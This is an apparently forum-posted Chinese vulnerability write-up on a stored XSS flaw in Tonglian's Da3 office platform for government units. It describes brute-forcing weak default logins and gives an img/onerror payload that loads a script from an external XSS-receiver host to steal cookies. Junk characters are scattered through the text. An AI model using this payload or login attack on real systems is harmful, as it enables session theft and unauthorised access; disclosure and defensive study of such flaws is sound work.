同联Da3协同办公平台后台通用储存型xss漏洞

admin

6 s# |9 n: ?) ^) Q3 C7 \' Q- S - S5 ~8 g+ W% e/ |" ? ], x! [" a 2 m3 o$ D+ W8 @' j : F' n8 y* s- c1 ~6 i9 F! c4 j2 W; _6 W3 E ! f5 X8 ~* w) K. W$ F s5 L * Q- M3 h5 x. j, E3 C " h. u1 t7 i! n/ q) {; e. N$ |: l

% \; B$ V# n. A' I2 K

同联Da3协同办公平台后台通用储存型xss漏洞 # |1 ~& { U+ I, A, I0 t" |

8 t2 j E9 A) X5 Y) C3 Z

平台简介： 6 n$ |/ _' x2 m$ p+ _0 Z

: V' {7 G8 A% Q  

# z4 v0 H* f, a( t

, l( C& ~. [6 k# X 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
! T+ y( v, c5 F- }同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
9 S8 d# E ^! @4 R% n5 l G4 O* ?同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

2 c' o7 q& b1 k0 _# X9 j5 V   ; O P1 N0 {0 k& j6 ]+ l4 q! f

, u# {% J. Z- z

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

  * C( C1 Z- d- P# l) W; X- @& H

http://1.1.1.1:7197/cap-aco/#（案例2-） 9 \. i; r+ T( v* ?+ X$ g& R

4 j/ \" x# n3 L3 a3 w* B http://www.XXOO.com （案例1-官网网站） : Y( X7 @3 n7 z$ W

6 ]4 }$ x* p E( I6 j8 Z

漏洞详情:

6 N3 r$ e, k$ L8 S$ `& K

 案例一、

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 ( A1 ?; h7 }% o" z

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： & h3 k0 N$ Y# |- N a

  $ _- [ m" T n& ?. y' x3 ^8 d0 W

" _2 f# ^% C% `9 }" P1 K3 C2 o

, c' x3 _& [% e) a1 }& |7 ~* F

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

& a* e1 a" s) Q K& H$ ^   5 o5 Y/ B- ~' F

0 s. p3 ~" y" A) I( I, E2 U! v

2 {# T3 M: S6 L. h

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 % E+ R! i2 w9 |9 c+ ^

 

( {% x: j- S! f! ^

- d- ]! n9 S( e1 ]! [: @ <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： 2 x! ]- P/ U3 A# ]) {

5 v6 l: N( @: [4 [! u: ?/ d) t

然后发送，接收cookie如图：

t$ C$ U, ~' U; l: ?

; s8 o5 f {- ^# {  

6 D8 t' P5 B& e* B

  1 g" P6 @+ n- h; n% i$ _) Q

0 ?/ C6 b' D0 f: Z% X# A  

5 @2 U* H% m' m6 A; P) v  

; u- V' Z9 s' D) g+ Z4 B1 c

8 o3 ^. p- I* F( R8 L

. \3 G9 s9 p. U5 g

 

案例2、 # L% ~ i# o; j( J

前面步骤都一样，下面看效果图：

6 X, k' E% {9 @4 N & w+ u$ c U7 D" H$ F4 m

0 W% E0 t' G0 W" S! F/ N% \

/ [8 P6 V: j) T3 O- y7 U 5 |. B x4 _' u8 _1 n/ ?* W/ r

$ n( `" u2 \8 f( K. e7 J

5 b; u v) x: z& n' e0 }# }  

& E4 d: k8 g2 l8 ]7 Q$ y& K  

4 j$ p+ H; P( B

9 r0 M5 w6 ] N \; N. R

) A' c) W: `; v5 M W |3 d# y  

  . c6 A+ u+ J& A

) S8 q' G$ r' H   / e+ e' ^: ]7 n5 x8 x- \

) k9 T9 @2 w3 L% S2 i, _% d: _  

. J0 ?! m( t/ J Z# f